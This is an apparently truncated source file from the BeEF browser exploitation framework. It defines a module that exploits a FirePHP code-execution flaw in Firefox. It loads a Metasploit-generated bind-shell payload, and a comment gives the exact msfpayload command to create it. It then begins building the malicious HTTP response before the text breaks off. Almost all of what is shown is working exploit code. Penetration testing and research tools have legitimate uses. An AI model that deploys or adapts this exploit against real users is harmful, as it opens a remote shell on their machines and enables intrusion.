# # Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission ### # PoC by Wireghoul: http://www.justanotherhacker.com/advisories/jahx132.html ### class Firephp_code_exec < BeEF::Core::Command def pre_send rand_str = rand(32**10).to_s(32) # load payload.js file # generate payload: # msfpayload firefox/shell_bind_tcp LPORT=4444 R > payload.js payload = "" f = File.open("#{$root_dir}/modules/exploits/firephp/payload.js") f.each_line do |line| payload << line end f.close # construct exploit+payload HTTP response exploit = { "RequestHeaders" => { "1"=>"#{rand(10)}", "2"=>"#{rand(10)}", "3"=>"#{rand(10)}", "4"=>"#{rand(10)}", "5"=>"#{rand(10)}", "6"=>"#{rand(10)}", "7"=>"#{rand(10)}", "8"=>"#{rand(10)}", "9"=>"#{rand(10)}", "